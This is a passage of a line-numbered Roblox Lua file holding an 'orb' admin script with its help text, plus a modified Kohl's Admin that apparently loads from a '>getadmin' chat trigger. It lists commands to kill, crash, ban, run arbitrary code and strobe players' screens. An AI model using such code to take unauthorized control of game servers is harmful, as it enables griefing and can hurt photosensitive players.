  3181. iOrb.runmsg=false iOrb.StopCheck=true iOrb.LoadAnimation=false iOrb.CreateOrb=false wait() iRemoveOrb(iOrb.DefaultParent) iRemoveOrb(game.Workspace.CurrentCamera) if iOrb.Orbed then iRemoveOrb(game.Workspace) end if iPrimaryChat~=nil then iPrimaryChat:disconnect() end if iSecondChat~=nil then iSecondChat:disconnect() end iOrb.Orb=nil iOrb.Part=false iOrb.Model=nil error("End of Orb Script")
  3182. end
  3183.  
  3184. iStr.help=function(string) iOrb.runmsg=true
  3185. if string==nil or string=="" then
  3186. iTypeMsg(" -> How to use Imike2's [qORBp] ? <-",2)
  3187. iTypeMsg("Tip : if you want to stop printing help, say 'stop:'",2)
  3188. iTypeMsg("Base of use -> command:argument",2)
  3189. iTypeMsg("Type cmd: or cmds: or command: or commands: to print commands (won't work if help works)",2)
  3190. iTypeMsg("You can search all the commands with kill in them -> cmd:kill",2)
  3191. iTypeMsg("Type help:command to have more informations about a command and how to use it",2)
  3192. iTypeMsg("If argument is a boolean, 'command:' or 'command:true' will enable the command",2)
  3193. iTypeMsg("If you want to disable the command, say 'command:false'",2)
  3194. iTypeMsg("If argument is a player, you can match name (Imi instead of Imike2), me for me, others for everyone exept you...",2)
  3195. iTypeMsg("...and all, a space or nothing for everyone",2)
  3196. iTypeMsg("Nothing for everyone mean for example 'kill:'. This command will kill everyone, same as 'kill: '.",2)
  3197. iTypeMsg("Warning 1 ! If you type kill: me, you'll kill everyone because there is a space between 'kill:' and 'me'",2)
  3198. iTypeMsg("Warning 2 ! If you type kill:n, you'll kill all the players with a name that begin by 'n'",2)
  3199. iTypeMsg("If a command expects 2 arguments, say for example teleport: me (space between teleport: and me means eveyone)",2)
  3200. iTypeMsg("There are several ways to execute a command with 2 or 3 arguments",2)
  3201. iTypeMsg("A simple space -> fogcolor:255 255 255 | tele:others me",2)
  3202. iTypeMsg("Two points : fogcolor:255:255:255 | tele:others:me",2)
  3203. iTypeMsg("A slash : fogcolor:255/255/255 | tele:others/me",2)
  3204. iTypeMsg("A comma : fogcolor:255,255,255 | tele:others,me",2)
  3205. iTypeMsg("A dot : fogcolor:255.255.255 | tele:others.me",2)
  3206. iTypeMsg("All the arguments between [ ] means that's an optional argument",2)
  3207. iTypeMsg("If you want to execute a command for 2 or 3 players, separate names with '|'",2)
  3208. iTypeMsg("Example 1 : kill:me|player2 (it will kill me and player2)",2)
  3209. iTypeMsg("Example 2 : tele:me/player2|player4/player3 (it will teleport me to player2 and player4 to player3",2)
  3210. elseif string~=nil and string~="" then
  3211. for index,v in pairs(iCmd) do
  3212. table.insert(iHlp,tostring(index))
  3213. end
  3214. for index,v in pairs(iStr) do
  3215. table.insert(iHlp,tostring(index))
  3216. end
  3217. for index,v in pairs(iVal) do
  3218. table.insert(iHlp,tostring(index))
  3219. end
  3220. for index,cmd in pairs(iHlp) do cmd=tostring(cmd) if cmd==string:lower() then if cmd=="help" then iTypeMsg("Print help or explain you how a command works -> "..cmd..":[command]",2)
  3221. elseif cmd=="endorb" then iTypeMsg("Delete the orb -> "..cmd..":",2)
  3222. elseif cmd=="rtools" then iTypeMsg("Remove player tools -> "..cmd..":player",2)
  3223. elseif cmd=="rtool" then iTypeMsg("Remove player tools -> "..cmd..":player",2)
  3224. elseif cmd=="rts" then iTypeMsg("Remove player tools -> "..cmd..":player",2)
  3225. elseif cmd=="rt" then iTypeMsg("Remove player tools -> "..cmd..":",2)
  3226. elseif cmd=="toolslist" then iTypeMsg("Print gears and building tools'name present in this orb -> "..cmd..":[string]",2)
  3227. elseif cmd=="tl" then iTypeMsg("Print gears and building tools'name present in this orb -> "..cmd..":[string]",2)
  3228. elseif cmd=="gears" then iTypeMsg("Give gears ( or a specific gear ) to player -> "..cmd..":player[:gearname]",2)
  3229. elseif cmd=="gear" then iTypeMsg("Give gears ( or a specific gear ) to player -> "..cmd..":player[:gearname]",2)
  3230. elseif cmd=="grs" then iTypeMsg("Give gears ( or a specific gear ) to player -> "..cmd..":player[:gearname]",2)
  3231. elseif cmd=="gr" then iTypeMsg("Give gears ( or a specific gear ) to player -> "..cmd..":player[:gearname]",2)
  3232. elseif cmd=="btools" then iTypeMsg("Give building tools -> "..cmd..":player[:toolname]",2)
  3233. elseif cmd=="btool" then iTypeMsg("Give building tools -> "..cmd..":player[:toolname]",2)
  3234. elseif cmd=="bts" then iTypeMsg("Give building tools -> "..cmd..":player[:toolname]",2)
  3235. elseif cmd=="bt" then iTypeMsg("Give building tools -> "..cmd..":player[:toolname]",2)
  3236. elseif cmd=="rmsg" then iTypeMsg("Remove messsages -> "..cmd..":",2)
  3237. elseif cmd=="terrainclear" then iTypeMsg("Remove all the terrain bricks -> "..cmd..":",2)
  3238. elseif cmd=="clear" then iTypeMsg("Clear workspace and spawn a base -> "..cmd..":",2)
  3239. elseif cmd=="base" then iTypeMsg("Spawn a base -> "..cmd..":",2)
  3240. elseif cmd=="night" then iTypeMsg("Change the current day to night -> "..cmd..":",2)
  3241. elseif cmd=="evening" then iTypeMsg("Change the current day to evening -> "..cmd..":",2)
  3242. elseif cmd=="morning" then iTypeMsg("Change the current day to morning -> "..cmd..":",2)
  3243. elseif cmd=="day" then iTypeMsg("Change the current day to midday -> "..cmd..":",2)
  3244. elseif cmd=="obc" then iTypeMsg("Set player membership to outrageous builders club -> "..cmd..":player",2)
  3245. elseif cmd=="tbc" then iTypeMsg("Set player membership to turbo builders club -> "..cmd..":player",2)
  3246. elseif cmd=="bc" then iTypeMsg("Set player membership to builders club -> "..cmd..":player",2)
  3247. elseif cmd=="nbc" then iTypeMsg("Set player membership to none -> "..cmd..":player",2)
  3248. elseif cmd=="ambient" then iTypeMsg("Change game ambient -> "..cmd..":color1,color2,color3",2)
  3249. elseif cmd=="fcolor" then iTypeMsg("Change fire primary color and secondary color of orb -> "..cmd..":color1,color2,color3",2)
  3250. elseif cmd=="fcolor1" then iTypeMsg("Change fire primary color of orb -> "..cmd..":",2)
  3251. elseif cmd=="fcolor2" then iTypeMsg("Change fire secondary color of orb -> "..cmd..":",2)
  3252. elseif cmd=="fogstart" then iTypeMsg("Set Fog Start value -> "..cmd..":value",2)
  3253. elseif cmd=="fogend" then iTypeMsg("Set Fog End value -> "..cmd..":value",2)
  3254. elseif cmd=="time" then iTypeMsg("Change game time -> "..cmd..":hour:minute:second",2)
  3255. elseif cmd=="unit" then iTypeMsg("When you're an orb, teleport you to vector 0,0,0 or player position -> "..cmd..":[player]",2)
  3256. elseif cmd=="fogcolor" then iTypeMsg("Change Fog Color -> "..cmd..":color1,color2,color3",2)
  3257. elseif cmd=="show" then iTypeMsg("Makes visible your orb -> "..cmd..":",2)
  3258. elseif cmd=="hide" then iTypeMsg("Makes invisible your orb -> "..cmd..":",2)
  3259. elseif cmd=="unsparkles" then iTypeMsg("Remove player sparkles -> "..cmd..":player",2)
  3260. elseif cmd=="sparkles" then iTypeMsg("Sparkles player -> "..cmd..":player",2)
  3261. elseif cmd=="unsmoke" then iTypeMsg("Remove player smoke -> "..cmd..":player",2)
  3262. elseif cmd=="smoke" then iTypeMsg("Smoke player -> "..cmd..":player",2)
  3263. elseif cmd=="unfire" then iTypeMsg("Remove player fire -> "..cmd..":player",2)
  3264. elseif cmd=="fire" then iTypeMsg("Fire player -> "..cmd..":player",2)
  3265. elseif cmd=="visi" then iTypeMsg("Makes player visible -> "..cmd..":player",2)
  3266. elseif cmd=="visible" then iTypeMsg("Makes player visible -> "..cmd..":player",2)
  3267. elseif cmd=="invisi" then iTypeMsg("Makes player invisible -> "..cmd..":",2)
  3268. elseif cmd=="invisible" then iTypeMsg("Makes player invisible -> "..cmd..":player",2)
  3269. elseif cmd=="unlock" then iTypeMsg("Lock player -> "..cmd..":player",2)
  3270. elseif cmd=="lock" then iTypeMsg("Unlock player -> "..cmd..":player",2)
  3271. elseif cmd=="freeze" then iTypeMsg("Freeze player -> "..cmd..":player",2)
  3272. elseif cmd=="unfreeze" then iTypeMsg("Thaw player -> "..cmd..":player",2)
  3273. elseif cmd=="thaw" then iTypeMsg("Thaw player -> "..cmd..":player",2)
  3274. elseif cmd=="rename" then iTypeMsg("Rename orb -> "..cmd..":string",2)
  3275. elseif cmd=="damage" then iTypeMsg("Damage player -> "..cmd..":player,number",2)
  3276. elseif cmd=="dmg" then iTypeMsg("Damage player -> "..cmd..":player,number",2)
  3277. elseif cmd=="find" then iTypeMsg("Find player position using orb ray -> "..cmd..":player",2)
  3278. elseif cmd=="sethealth" then iTypeMsg("Change player health -> "..cmd..":player,number",2)
  3279. elseif cmd=="setname" then iTypeMsg("Change local character name -> "..cmd..":string",2)
  3280. elseif cmd=="sn" then iTypeMsg("Change local character name -> "..cmd..":string",2)
  3281. elseif cmd=="undead" then iTypeMsg("Give infinite health to player -> "..cmd..":player",2)
  3282. elseif cmd=="heal" then iTypeMsg("Heal player -> "..cmd..":player",2)
  3283. elseif cmd=="ps" then iTypeMsg("Platformstand player -> "..cmd..":player",2)
  3284. elseif cmd=="platformstand" then iTypeMsg("Platformstand player -> "..cmd..":player",2)
  3285. elseif cmd=="sit" then iTypeMsg("Sit player -> "..cmd..":player",2)
  3286. elseif cmd=="jump" then iTypeMsg("Jump player -> "..cmd..":player",2)
  3287. elseif cmd=="ws" then iTypeMsg("Change player walk speed -> "..cmd..":player,number",2)
  3288. elseif cmd=="walkspeed" then iTypeMsg("Change player walk speed -> "..cmd..":player,number",2)
  3289. elseif cmd=="grav" then iTypeMsg("Restore normal player gravity -> "..cmd..":player",2)
  3290. elseif cmd=="gravity" then iTypeMsg("Restore normal player gravity -> "..cmd..":player",2)
  3291. elseif cmd=="nograv" then iTypeMsg("Change player gravity -> "..cmd..":player",2)
  3292. elseif cmd=="nogravity" then iTypeMsg("Change player gravity -> "..cmd..":player",2)
  3293. elseif cmd=="setgrav" then iTypeMsg("Change player gravity by your value -> "..cmd..":player,number",2)
  3294. elseif cmd=="setgravity" then iTypeMsg("Change player gravity by your value -> "..cmd..":player,number",2)
  3295. elseif cmd=="renew" then iTypeMsg("Delete current orb and makes a new one -> "..cmd..":",2)
  3296. elseif cmd=="drop" then iTypeMsg("Release player from your orb -> "..cmd..":player",2)
  3297. elseif cmd=="release" then iTypeMsg("Release player from your orb -> "..cmd..":player",2)
  3298. elseif cmd=="grab" then iTypeMsg("Grab player to your orb -> "..cmd..":player",2)
  3299. elseif cmd=="tto" then iTypeMsg("Teleport player to your orb -> "..cmd..":player",2)
  3300. elseif cmd=="teletoorb" then iTypeMsg("Teleport player to your orb -> "..cmd..":player",2)
  3301. elseif cmd=="tp" then iTypeMsg("Teleport player1 to player2 -> "..cmd..":player1,player2",2)
  3302. elseif cmd=="teleport" then iTypeMsg("Teleport player1 to player2 -> "..cmd..":player1,player2",2)
  3303. elseif cmd=="tele" then iTypeMsg("Teleport player1 to player2 -> "..cmd..":player1,player2",2)
  3304. elseif cmd=="tower" then iTypeMsg("Rise player on a tower (max duration time -> 120 sec.) -> "..cmd..":player[:height[:duration]]",2)
  3305. elseif cmd=="skydive" then iTypeMsg("Skydive player -> "..cmd..":player",2)
  3306. elseif cmd=="unff" then iTypeMsg("Give forcefield to player -> "..cmd..":player",2)
  3307. elseif cmd=="ff" then iTypeMsg("Give forcefield to player -> "..cmd..":player",2)
  3308. elseif cmd=="pun" then iTypeMsg("Punish player -> "..cmd..":player",2)
  3309. elseif cmd=="punish" then iTypeMsg("Punish player -> "..cmd..":player",2)
  3310. elseif cmd=="unpun" then iTypeMsg("Unpunish player -> "..cmd..":player",2)
  3311. elseif cmd=="unpunish" then iTypeMsg("Unpunish player -> "..cmd..":player",2)
  3312. elseif cmd=="resp" then iTypeMsg("Respawn player -> "..cmd..":player",2)
  3313. elseif cmd=="respawn" then iTypeMsg("Respawn player -> "..cmd..":player",2)
  3314. elseif cmd=="expl" then iTypeMsg("Explode player (if you're an orb and say expl:me, it will explode your orb) -> "..cmd..":player",2)
  3315. elseif cmd=="explode" then iTypeMsg("Explode player (if you're an orb and say explode:me, it will explode your orb) -> "..cmd..":player",2)
  3316. elseif cmd=="char" then iTypeMsg("Load your character (doesn't work when you're kicked) -> "..cmd..":",2)
  3317. elseif cmd=="orb" then iTypeMsg("Makes you into orb -> "..cmd..":",2)
  3318. elseif cmd=="unban" then iTypeMsg("Unban player -> "..cmd..":player",2)
  3319. elseif cmd=="ban" then iTypeMsg("Ban player -> "..cmd..":player",2)
  3320. elseif cmd=="fly" then iTypeMsg("Give you a fly tool I scripted -> "..cmd..":",2)
  3321. elseif cmd=="banlist" then iTypeMsg("Print banned list -> "..cmd..":",2)
  3322. elseif cmd=="kick" then iTypeMsg("Kick player -> "..cmd..":player",2)
  3323. elseif cmd=="lkl" then iTypeMsg("Loopkill player -> "..cmd..":player",2)
  3324. elseif cmd=="loopkill" then iTypeMsg("Loopkill player -> "..cmd..":player",2)
  3325. elseif cmd=="unlkl" then iTypeMsg("Unloopkill player -> "..cmd..":player",2)
  3326. elseif cmd=="unloopkill" then iTypeMsg("Unloopkill player -> "..cmd..":player",2)
  3327. elseif cmd=="kl" then iTypeMsg("Kill player -> "..cmd..":player",2)
  3328. elseif cmd=="kill" then iTypeMsg("Kill player -> "..cmd..":player",2)
  3329. elseif cmd=="x" then iTypeMsg("Set x base position from your torso -> "..cmd..":number",2)
  3330. elseif cmd=="y" then iTypeMsg("Set y base position from your torso -> "..cmd..":number",2)
  3331. elseif cmd=="z" then iTypeMsg("Set z base position from your torso -> "..cmd..":number",2)
  3332. elseif cmd=="fheat" then iTypeMsg("Set heat of orb fire -> "..cmd..":number",2)
  3333. elseif cmd=="fsize" then iTypeMsg("Set size of orb fire -> "..cmd..":number",2)
  3334. elseif cmd=="tsize" then iTypeMsg("Set size of orb trail -> "..cmd..":number",2)
  3335. elseif cmd=="levirise" then iTypeMsg("Set maximum levitation rise of orb -> "..cmd..":number",2)
  3336. elseif cmd=="rotspeed" then iTypeMsg("Set rotation speed of orb if it turn (max:360) -> "..cmd..":number",2)
  3337. elseif cmd=="levispeed" then iTypeMsg("Set levitation rise speed of orb -> "..cmd..":number",2)
  3338. elseif cmd=="particles" then iTypeMsg("Enable or disable particles -> "..cmd..":boolean",2)
  3339. elseif cmd=="localorb" then iTypeMsg("If enabled, only you will see your orb -> "..cmd..":boolean",2)
  3340. elseif cmd=="move" then iTypeMsg("If disabled, orb won't move -> "..cmd..":boolean",2)
  3341. elseif cmd=="fchange" then iTypeMsg("If enabled, fire color of orb will change from black to white automaticaly -> "..cmd..":boolean",2)
  3342. elseif cmd=="fena" then iTypeMsg("Enable or disable orb fire -> "..cmd..":boolean",2)
  3343. elseif cmd=="tena" then iTypeMsg("Enable or disable orb trail -> "..cmd..":boolean",2)
  3344. elseif cmd=="turn" then iTypeMsg("If enabled, your orb will turn around you -> "..cmd..":boolean",2)
  3345. elseif cmd=="sc" then iTypeMsg("Execute script -> "..cmd..":script",2)
  3346. elseif cmd=="cmd" then iTypeMsg("Print all the commands or print commands containing string -> "..cmd..":[string]",2)
  3347. elseif cmd=="cmds" then iTypeMsg("Print all the commands or print commands containing string -> "..cmd..":[string]",2)
  3348. elseif cmd=="command" then iTypeMsg("Print all the commands or print commands containing string -> "..cmd..":[string]",2)
  3349. elseif cmd=="commands" then iTypeMsg("Print all the commands or print commands containing string -> "..cmd..":[string]",2)
  3350. elseif cmd=="stop" then iTypeMsg("Stop printing commands or help -> "..cmd..":",2)
  3351. else iTypeMsg("Unknown or non-existing help for this command...",2) end end end
  3352. for i = #iHlp, 1, -1 do
  3353. table.remove(iHlp,i)
  3354. end
  3355. end iOrb.runmsg=false
  3356. end
  3357.  
  3358. --iStr.sc=function(string) coroutine.wrap(function() loadstring(string)() end)() end
  3359.  
  3360. iStr.cmd=function(string) iHintCmd(string) end
  3361. iStr.cmds=function(string) iHintCmd(string) end
  3362. iStr.command=function(string) iHintCmd(string) end
  3363. iStr.commands=function(string) iHintCmd(string) end
  3364.  
  3365. iStr.toolslist=function(string) iHintTools(string) end
  3366. iStr.tl=function(string) iHintTools(string) end
  3367.  
  3368. iCmd.stop=function() iOrb.runmsg=false end
  3369.  
  3370. -- Run iBan --
  3371.  
  3372. game.Players.ChildAdded:connect(banPlayers)
  3373. coroutine.resume(coroutine.create(function() for _,v in pairs(game.Players:GetPlayers())do banPlayers(v) end end))
  3374.  
  3375. -- vinson1002--
  3376. end
  3377.  
  3378. if text == ">getadmin -kohl's" then
  3379. -----------------------------------
  3380. -- Modified by XxAngelusMortisxX --
  3381. -----------------------------------
  3382. local owners = {"w4k"} -- Are able to set admins who can ban/etc... using :pa name
  3383. local admins = {"XxAngelusMortisxX,ghs098,aznboi819,bubbleglop"} -- Sets admins who can use ban/kick/admin or shutdown
  3384. local tempadmins = {santa64} -- Sets admins who can't use ban/kick/admin or shutdown
  3385. local banland = {"MasterKhaos,catman9876"} -- Permanently Bans people
  3386. local prefix = ":" -- If you wanna change how your commands start ':'kill noob
  3387. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  3388. -----------------
  3389. -- Group Admin --
  3390. -----------------
  3391. local GroupAdmin = false -- If a certain group can have admin
  3392. local GroupId = 0 -- Sets the group id that can have admin
  3393. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  3394. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  3395. ---------------------
  3396. -- Tips and Tricks --
  3397. ---------------------
  3398. --[[
  3399. With this admin you can do a command on multiple people at a time;
  3400. :kill me,noob1,noob2,random,team-raiders
  3401.  
  3402. You can also use a variety commands for different people;
  3403. all
  3404. others
  3405. me
  3406. team-
  3407. admins
  3408. nonadmins
  3409. random
  3410. --]]
  3411. --------------
  3412. -- Commands --
  3413. --------------
  3414. --[[
  3415. -- Temp Admin Commands --
  3416. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  3417. 1. :s print("Hello World") -- Lets you script normally
  3418. 2. :ls print("Hello World") -- Lets you script in localscripts
  3419. 3. :clear -- Will remove all scripts/localscripts and jails
  3420. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  3421. 5. :kill kohl -- Kills the player
  3422. 6. :respawn kohl -- Respawns the player
  3423. 7. :trip kohl -- Trips the player
  3424. 8. :stun kohl -- Stuns the player
  3425. 9. :unstun kohl -- Unstuns the player
  3426. 10. :jump kohl -- Makes the player jump
  3427. 11. :sit kohl -- Makes the player sit
  3428. 12. :invisible kohl -- Makes the player invisible
  3429. 13. :visible kohl -- Makes the player visible
  3430. 14. :explode kohl -- Makes the player explode
  3431. 15. :fire kohl -- Sets the player on fire
  3432. 16. :unfire kohl -- Removes fire from the player
  3433. 17. :smoke kohl -- Adds smoke to the player
  3434. 18. :unsmoke kohl -- Removes smoke from the player
  3435. 19. :sparkles kohl -- Adds sparkles to the player
  3436. 20. :unsparkles kohl -- Removes sparkles from the player
  3437. 21. :ff kohl -- Adds a forcefield to the player
  3438. 22. :unff kohl -- Removes the forcefield from the player
  3439. 23. :punish kohl -- Punishes the player
  3440. 24. :unpunish kohl -- Unpunishes the player
  3441. 25. :freeze kohl -- Freezes the player
  3442. 26. :thaw kohl -- Thaws the player
  3443. 27. :heal kohl -- Heals the player
  3444. 28. :god kohl -- Makes the player have infinite health
  3445. 29. :ungod kohl -- Makes the player have 100 health
  3446. 30. :ambient .5 .5 .5 -- Changes the ambient
  3447. 31. :brightness .5 -- Changes the brightness
  3448. 32. :time 12 -- Changes the time
  3449. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  3450. 34. :fogend 100 -- Changes the fogend
  3451. 35. :fogstart 100 -- Changes the fogstart
  3452. 36. :removetools kohl -- Removes all tools from the player
  3453. 37. :btools kohl -- Gives the player building tools
  3454. 38. :give kohl sword -- Gives the player a tool
  3455. 39. :damage kohl -- Damages the player
  3456. 40. :grav kohl -- Sets the player's gravity to normal
  3457. 41. :setgrav kohl 100 -- Sets the player's gravity
  3458. 42. :nograv kohl -- Makes the player have 0 gravity
  3459. 43. :health kohl 1337 -- Changes the player's health
  3460. 44. :speed kohl 1337 -- Changes the player's walkspeed
  3461. 45. :name kohl potato -- Changes the player's name
  3462. 46. :unname kohl -- Remove the player's name
  3463. 47. :team kohl Raiders -- Changes the player's team
  3464. 48. :stopmusic -- Will stop all music playing in the server
  3465. 49. :teleport kohl potato -- Teleports the player
  3466. 50. :change kohl kills 1337 -- Changes a player's stat
  3467. 51. :kick kohl -- Removes the player from the game
  3468. 52. :infect kohl -- Turns the player into a zombie
  3469. 53. :rainbowify kohl -- Turns the player into a rainbow
  3470. 54. :flashify kohl -- Turns the player into a strobe
  3471. 55. :noobify kohl -- Turns the player into a noob
  3472. 56. :ghostify kohl -- Turns the player into a ghost
  3473. 57. :goldify kohl -- Turns the player into gold
  3474. 58. :shiny kohl -- Makes the player shiny
  3475. 59. :normal kohl -- Puts the player back to normal
  3476. 60. :trippy kohl -- Spams random colors on the player's screen
  3477. 61. :untrippy kohl -- Untrippys the player
  3478. 62. :strobe kohl -- Spams white and black on the player's screen
  3479. 63. :unstrobe kohl -- Unstrobes the player
  3480. 64. :blind kohl -- Blinds the player
  3481. 65. :unblind kohl -- Unblinds the player
  3482. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  3483. 67. :fling kohl -- Flings the player
  3484. 68. :seizure kohl -- Puts the player in a seizure
  3485. 69(lol). :music 1337 -- Plays a sound from the ID
  3486. 70. :lock kohl -- Locks the player
  3487. 71. :unlock kohl -- Unlocks the player
  3488. 72. :removelimbs kohl -- Removes the player's limbs
  3489. 73. :jail kohl -- Puts the player in a jail
  3490. 74. :unjail kohl -- Removes the jail from the player
  3491. 75. :fix -- This will fix the lighting to it's original settings
  3492. 76. :fly kohl -- Makes the player fly
  3493. 77. :unfly kohl -- Removes fly from the player
  3494. 78. :noclip kohl -- Makes the player able to noclip
  3495. 79. :clip kohl -- Removes noclipping from the player
  3496. 80. :pm kohl Hey bro -- Sends the player a private message
  3497. 81. :dog kohl -- Turns the player into a dog
  3498. 82. :undog kohl -- Turns the player back to normal
  3499. 83. :creeper kohl -- Turns the player into a creeper
  3500. 84. :uncreeper kohl -- Turns the player back to normal
  3501. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  3502. 86. :char kohl 261 -- Will make a player look like a different player ID
  3503. 87. :unchar kohl -- Will return the player back to normal
  3504. 88. :h Hello People -- This will shout a hint to everyone
  3505. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  3506. 90. :starttools kohl -- Will give the player starter tools
  3507. 91. :sword kohl -- Will give the player a sword
  3508. 92. :bighead kohl -- Will make the player's head larger than normal
  3509. 93. :minihead kohl -- Will make the player's head smaller than normal
  3510. 94. :insert 1337 -- Will insert a model at the speaker's position
  3511. 95. :disco -- Will make the server flash random colors
  3512. 96. :flash -- Will make the server flash
  3513. 97. :admins -- Shows the admin list
  3514. 98. :bans -- Shows the banlist
  3515. 99. :musiclist -- Shows the music list
  3516. 100. :spin kohl -- Spins the player
  3517. 101. :cape kohl Really black -- Gives the player a colored cape
  3518. 102. :uncape kohl -- Removes the player's cape
  3519. 103. :loopheal kohl -- Will constantly heal the player
  3520. 104. :loopfling kohl -- Will constantly fling the player
  3521. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  3522. 106. :unloopheal kohl -- Will remove the loopheal on the player
  3523. 107. :unloopfling kohl -- Will remove the loopfling on the player
  3524. 108. :unspin kohl -- Removes spin from the player
  3525. 109. :tools -- Gives a list of the tools in the lighting
  3526. 110. :undisco -- Removes disco effects
  3527. 111. :unflash -- Removes flash effects
  3528. 112. :resetstats kohl -- Sets all the stats of a player to 0
  3529. 113. :gear kohl 1337 -- Gives a player a gear
  3530. 114. :cmdbar -- Gives the speaker a command bar
  3531. 115. :shirt kohl 1337 -- Changes the player's shirt
  3532. 116. :pants kohl 1337 -- Changes the player's pants
  3533. 117. :face kohl 1337 -- Changes the player's face
  3534. 118. :swagify kohl -- Swagifies the player
  3535. 119. :version -- Shows the current version of the admin
  3536.  
  3537. -- Super Admin Commands --
  3538. - :serverlock -- Locks the server
  3539. - :serverunlock -- Unlocks the server
  3540. - :sm Hello World -- Creates a system message
  3541. - :crash kohl -- Crashes a player
  3542. - :admin kohl -- Admins a player
  3543. - :unadmin kohl -- Unadmins a player
  3544. - :ban kohl -- Bans a player
  3545. - :unban kohl -- Unbans a player
  3546. - :loopkill kohl -- Will constantly kill the player
  3547. - :unloopkill kohl -- Will remove the loopkill on the player
  3548. - :logs -- Will show all of the commands any admin has used in a game session
  3549. - :shutdown -- Shutsdown the server
  3550.  
  3551. -- Owner Commands --
  3552. - :pa kohl -- Makes someone a super admin
  3553. - :unpa kohl -- Removes a super admin
  3554. --]]
  3555. -----------------
  3556. -- Main Script --
  3557. -----------------
  3558. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  3559.  
  3560. function CHEESE()
  3561. if game:service("Lighting"):findFirstChild("KACV2") then
  3562. owners = {} admins = {} tempadmins = {} banland = {}
  3563. for i,v in pairs(game.Lighting.KACV2:children()) do
  3564. if v.Name == "Owner" then table.insert(owners, v.Value) end
  3565. if v.Name == "Admin" then table.insert(admins, v.Value) end
  3566. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  3567. if v.Name == "Banland" then table.insert(banland, v.Value) end
  3568. if v.Name == "Prefix" then prefix = v.Value end
  3569. if v.Name == "FunCommands" then FunCommands = v.Value end
  3570. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  3571. if v.Name == "GroupId" then GroupId = v.Value end
  3572. if v.Name == "GroupRank" then GroupRank = v.Value end
  3573. end
  3574. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  3575. end
  3576.  
  3577. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  3578. local lobjs = {}
  3579. local objects = {}
  3580. local logs = {}
  3581. local nfs = ""
  3582. local slock = false
  3583.  
  3584. function GetTime()
  3585. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  3586. if min < 10 then min = "0"..min end
  3587. return hour..":"..min
  3588. end
  3589.  
  3590. function ChkOwner(str)
  3591. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  3592. return false
  3593. end
  3594.  
  3595. function ChkAdmin(str,ck)
  3596. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  3597. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  3598. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  3599. return false
  3600. end
  3601.  
  3602. function ChkGroupAdmin(plr)
  3603. if GroupAdmin then
  3604. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  3605. return false
  3606. end
  3607. end
  3608.  
  3609. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  3610.  
  3611. function GetPlr(plr, str)
  3612. local plrz = {} str = str:lower()
  3613. if str == "all" then plrz = game.Players:children()
  3614. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  3615. else
  3616. local sn = {1} local en = {}
  3617. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  3618. for x = 1, #sn do
  3619. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  3620. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  3621. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  3622. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  3623. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  3624. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  3625. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  3626. end end end
  3627. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  3628. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  3629. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  3630. end end end
  3631. else
  3632. for a, plyr in pairs(game.Players:children()) do
  3633. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  3634. table.insert(plrz, plyr) break
  3635. end
  3636. end
  3637. end
  3638. end
  3639. end
  3640. return plrz
  3641. end
  3642.  
  3643. function Hint(str, plrz, time)
  3644. for i, v in pairs(plrz) do
